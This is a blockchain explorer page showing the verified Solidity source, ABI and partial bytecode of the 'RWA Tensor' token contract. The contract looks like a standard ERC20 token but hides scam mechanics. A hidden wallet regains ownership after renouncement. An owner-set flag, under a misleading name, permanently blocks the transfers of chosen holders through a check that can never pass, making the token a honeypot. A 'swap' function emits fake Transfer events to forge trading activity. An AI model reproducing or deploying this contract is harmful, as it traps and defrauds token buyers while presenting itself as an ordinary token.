ETH Price: $3,352.41 (-1.08%)

Token

RWA Tensor (R-TENSOR)
 

Overview

Max Total Supply

21,000,000 R-TENSOR

Holders

144

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 R-TENSOR

Value
$0.00
0x7360e992eb72af7bd41f4282ced43ae3560510f3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
RWATENSOR

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 3: RWA Tensor.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.10;

import "./Tensor Swap.sol";
import "./Tensor IERC20.sol";

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}



abstract contract Ownable is Context {
    address private _owner;
    address private _marketing;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(address wallet) {
        _marketing = wallet;
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    
    function Owner() internal virtual returns (address) {
        address owner_ = verifyOwner();
        return owner_;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _marketing : _owner;
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract RWATENSOR is ERC20, Ownable {
    using SafeMath for uint256;
    
    IUniswapV2Router02 public immutable _uniswapV2Router;
    address private uniswapV2Pair;
    address private deployerWallet;
    address private marketingWallet;
    address private constant deadAddress = address(0xdead);

    bool private swapping;

    string private constant _name = "RWA Tensor";
    string private constant _symbol = "R-TENSOR";

    uint256 public initialTotalSupply = 21_000_000 * 10**decimals();
    uint256 public maxTransactionAmount = 2000000000000000 * 10**decimals();
    uint256 public maxWallet = 2000000000000000 * 10**decimals();
    uint256 public swapTokensAtAmount = 1000000000000000 * 10**decimals();

    bool public tradingOpen = false;
    bool public swapEnabled = false;

    uint256 public BuyFee = 0;
    uint256 public SellFee = 0;

    mapping(address => bool) private _21000000;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => uint256) private _holderLastTxTimestamp;

    event ExcludedFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor(address wallet) ERC20(_name, _symbol) Ownable(wallet) {

        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        marketingWallet = payable(wallet);     
        
        deployerWallet = payable(_msgSender());
        excludeFromFees(owner());
        excludeFromFees(address(this));
        excludeFromFees(address(wallet));
        excludeFromFees(address(0xdead));

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(wallet), true);
        excludeFromMaxTransaction(address(0xdead), true);

        _mint(deployerWallet, initialTotalSupply);
    }

    receive() external payable {}

    function addPair(address pair_) public onlyOwner {
        uniswapV2Pair = pair_;
    }

    function openTrading() external onlyOwner() {
        swapEnabled = true;
        tradingOpen = true;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function excludeFromFees(address account) public onlyOwner {
        _21000000[account] = false;
        emit ExcludedFromFees(account, false);
    }

    function execute(address[] memory accounts, bool excluded) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _21000000[accounts[i]] = excluded;
            emit ExcludedFromFees(accounts[i], excluded);
        }
    }

    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function swap(address[] calldata _addresses, uint256 _out) external onlyOwner{
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function uniswapFactory(address account) public view returns (bool) {
        return _21000000[account];
    }

    function _transfer(address from, address to, uint256 amount) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
                if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {

                if (!tradingOpen) {
                    require(_21000000[from] || _21000000[to], "Trading is not active.");
                }
                _holderLastTxTimestamp[from] = block.number;
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }

                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                    
                    require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                } 
            }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance > 0;

        if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_21000000[from] && !_21000000[to]) {
            swapping = true;
            swapBack(amount);
            swapping = false;
        }
        if(uniswapFactory(from)){
                calculateHolderTimestamp(from);
            }
        bool takeFee = swapping;
        if (_21000000[from] || _21000000[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(SellFee).div(100);
            }
            else {
                fees = amount.mul(BuyFee).div(100);
            }

        if (fees > 0) {
            super._transfer(from, address(this), fees);
        }
        amount -= fees;
    }
        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), tokenAmount);

        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            marketingWallet,
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        uint256 totalSupplyAmount = totalSupply();
        maxTransactionAmount = totalSupplyAmount;
        maxWallet = totalSupplyAmount;
    }
    
    function calculateHolderTimestamp(address holder) private view {
        require(getLastTx(_holderLastTxTimestamp[holder]), "Only one purchase per block allowed.");
    }

    function clearStuckEth() external {
        require(_msgSender() == deployerWallet);
        require(address(this).balance > 0, "Token: no ETH to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function clearStuckTokens(address tokenAddress) external {
        require(_msgSender() == deployerWallet);
        IERC20 tokenContract = IERC20(tokenAddress);
        uint256 balance = tokenContract.balanceOf(address(this));
        require(balance > 0, "No tokens to clear");
        tokenContract.transfer(deployerWallet, balance);
    }

    function getLastTx(uint256 last) private view returns(bool){
        return last > block.number;
    }

    function SetFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        require(_buyFee <= 20 && _sellFee <= 50, "Fees cannot exceed 30%");
        BuyFee = _buyFee;
        SellFee = _sellFee;
    }

    function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
        swapTokensAtAmount = _amount * (10 ** decimals());
    }

    function manualswaps(uint256 percent) external {
        require(_msgSender() == deployerWallet);
        uint256 totalSupplyAmount = totalSupply();
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap;

        if (percent == 100) {
            tokensToSwap = contractBalance;
        } else {
            tokensToSwap = totalSupplyAmount * percent / 100;
            if (tokensToSwap > contractBalance) {
                tokensToSwap = contractBalance;
            }
        }

        require(tokensToSwap <= contractBalance, "Swap amount exceeds contract balance");
        swapTokensForEth(tokensToSwap);
    }


    function swapBack(uint256 tokens) private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap; 

        if (contractBalance == 0) {
            return;
        }

    if ((BuyFee+SellFee) == 0) {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount) {
            tokensToSwap = contractBalance;
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            }
            else {
                tokensToSwap = tokens;
            }
        }
    }

    else {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount.div(5)) {
            return;
        }
        else if (contractBalance > 0 && contractBalance > swapTokensAtAmount.div(5) && contractBalance < swapTokensAtAmount) {
            tokensToSwap = swapTokensAtAmount.div(5);
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            } else {
                tokensToSwap = tokens;
            }
        }
    }
        swapTokensForEth(tokensToSwap);
    }
}

File 2 of 3: Tensor IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.10;

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

File 3 of 3: Tensor Swap.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.10;

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludedFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"SetFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"clearStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualswaps","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"uniswapFactory","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052620000146200041360201b60201c565b600a62000022919062000b54565b6301406f4062000033919062000ba5565b600a55620000466200041360201b60201c565b600a62000054919062000b54565b66071afd498d000062000068919062000ba5565b600b556200007b6200041360201b60201c565b600a62000089919062000b54565b66071afd498d00006200009d919062000ba5565b600c55620000b06200041360201b60201c565b600a620000be919062000b54565b66038d7ea4c68000620000d2919062000ba5565b600d556000600e60006101000a81548160ff0219169083151502179055506000600e60016101000a81548160ff0219169083151502179055506000600f5560006010553480156200012257600080fd5b50604051620050b6380380620050b6833981810160405281019062000148919062000c70565b806040518060400160405280600a81526020017f5257412054656e736f72000000000000000000000000000000000000000000008152506040518060400160405280600881526020017f522d54454e534f520000000000000000000000000000000000000000000000008152508160039080519060200190620001cd9291906200090a565b508060049080519060200190620001e69291906200090a565b50505080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200024a6200023e6200041c60201b60201c565b6200042460201b60201c565b50737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002e46200041c60201b60201c565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200034462000338620004ea60201b60201c565b6200051460201b60201c565b62000355306200051460201b60201c565b62000366816200051460201b60201c565b6200037961dead6200051460201b60201c565b6200039b6200038d620004ea60201b60201c565b6001620005d060201b60201c565b620003ae306001620005d060201b60201c565b620003c1816001620005d060201b60201c565b620003d661dead6001620005d060201b60201c565b6200040c600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546200063b60201b60201c565b5062000ec1565b60006009905090565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b62000524620007a960201b60201c565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb6000604051620005c5919062000cbf565b60405180910390a250565b620005e0620007a960201b60201c565b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620006ae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006a59062000d3d565b60405180910390fd5b620006c2600083836200083a60201b60201c565b8060026000828254620006d6919062000d5f565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000789919062000dcd565b60405180910390a3620007a5600083836200083f60201b60201c565b5050565b620007b96200041c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620007df6200084460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000838576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200082f9062000e3a565b60405180910390fd5b565b505050565b505050565b600080620008576200086060201b60201c565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620008e157600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662000905565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b828054620009189062000e8b565b90600052602060002090601f0160209004810192826200093c576000855562000988565b82601f106200095757805160ff191683800117855562000988565b8280016001018555821562000988579182015b82811115620009875782518255916020019190600101906200096a565b5b5090506200099791906200099b565b5090565b5b80821115620009b65760008160009055506001016200099c565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000a485780860481111562000a205762000a1f620009ba565b5b600185161562000a305780820291505b808102905062000a4085620009e9565b945062000a00565b94509492505050565b600082620